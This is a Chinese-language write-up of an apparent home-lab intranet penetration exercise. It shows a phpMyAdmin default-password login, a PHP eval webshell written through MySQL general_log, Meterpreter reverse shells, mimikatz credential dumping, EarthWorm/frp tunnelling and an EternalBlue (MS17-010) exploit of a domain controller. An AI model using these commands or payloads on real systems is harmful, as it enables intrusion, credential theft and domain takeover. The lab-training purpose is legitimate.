一、环境搭建
一共三台机器,其中w7属于外网入口,w2003与windows server2008属于内网主机。因此为了实现环境需要为w7设置两张网卡,一张内网,一张外网。
windows server2008
接下来就是打开虚拟机,看看是否有网络不通的情况了。
正确配置时,w7(关防火墙情况下)、w2003、windows server 2008 都能互相ping通。
最后再打开w7里面的phpstudy就可以开始操作了。
我的环境大概就是这样
二、拿下边界服务器
nmap开扫目标外网ip 192.168.147.132,发现存在80端口
访问url,直接测试数据库的默认账号密码root:root,结果还真是。
尝试直连数据库,直接一步到位获取webshell,结果发现该数据库不允许远程外连。
只能登录phpmyadmin,老老实实,一步一步写webshell了。
登录进去后,此时我们写shell的方法有
①into outfile直接写shell进入网站目录
前提:具有mysql设置了写权限和知道网站的绝对路径
②利用mysql的日志文件,将一句话木马写进去
这里使用的是日志写shell
show variables like '%general%';#查看日志状态
结果显示日志当前关闭,位置为stu1.log
set global general_log="on"
set global general_log_file="c:\\phpstudy\\WWW\\123.php"#要用两个斜杠,第一个是转义符
此时日志成功打开,并且内容会保存到网站根目录的123.php下
将一句话木马写如日志即可
select "<?php eval($_POST['cmd']);?>"
直接蚁剑走起。
上传msf马,webshell虚拟终端中运行,成功回弹shell
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.147.129
set lport 4444
run
至此,拿下w7
三、内网信息收集
meterpreter直接加载mimikatz跑出明文密码(这里密码是被我改过的),知道密码后可以开启3389登录等。
通过各种手段,知道了内网的ip段(ipconfig、net config Workstation),也找到了域控的ip
上传nmap到该机器(这里该w7已经安装了nmap了,直接用即可),对其内网段进行扫描存活主机及开放服务。
四、内网穿透
前面发现,两台机器均开启445端口,不用多说,总之先永恒之蓝ms17-010怼上去。
但这里需要解决的问题是,环境中,只有w7是能够与外网相连的,w2003和windoswserver都是无法连接外网。这就导致,我们需要先进行内网穿透才能够在kali上访问到它们。
这里使用的工具是EarthWorm+proxychains
将ew上传到受控主机w7上,开启正向socks5代理
之后kali中一般自带proxychains,修改proxychains的配置文件
su root
vim /etc/proxychains.conf
注释或者修改掉原本的ProxyList修改为如下
(PS:socke5在会话层,因此一般只能代理应用层的流量,而更底层的如ICMP协议等流量就无法被接管,这也正是前面需要上传nmap到目标计算机而不直接使用ew代理nmap的原因)
五、横向渗透
使用proxychains代理打开msf,使用ms17-010漏洞分析模块,对域控服务器进行分析,发现确实存在这样的漏洞。
proxychains msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.138
run
在利用攻击模块的时候又出现了一个问题,我们前面只设置了正向代理,只实现了kali能够通过w7访问域控,那成功拿下域控后我们该怎么获取回弹shell?
这里我选择中转监听。用frp做内网穿透(访问w7的某个端口=访问kali的某个端口,这样就能获取到回弹shell了)
具体实现:kali上配置frp客户端frpc,w7上配置frp服务段frps
Kali的frpc.ini配置如下
[common]
server_addr = 192.168.147.132 #frp服务端的IP地址
server_port = 5555 #frp服务的端口
token = sdfsd-56-cxz-df #token
[reverse_tcp]
type = tcp
local_ip = 192.168.147.129#kali的IP
local_port = 6666
remote_port = 7777#当访问frp服务端192.168.147.132的7777端口时,等于访问客户端192.168.147.129的6666端口
w7的frps.ini的配置如下
运行frp服务端与客户端
成功建立了联系后,就可以利用ms17-010来攻击域控并获取回弹shell了
现在先理清关系:
访问w7的7777端口等价于访问kali的6666端口。因此我们的攻击payload需要写w7的ip和端口(这里的ip需要写域控服务器能访问到的ip即192.168.52.143)。然后再另开一个msf来侦听kali本机的6666端口。
①开启侦听回弹shell
另开一个cmd
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.147.129
set lport 6666
run
②利用ms17-010攻击
在被代理的msf上使用工具模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost 192.168.52.138
set lhost 192.168.52.143
set lport 7777
run
成功获取域控服务器的shell,撒花撒花~;从后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。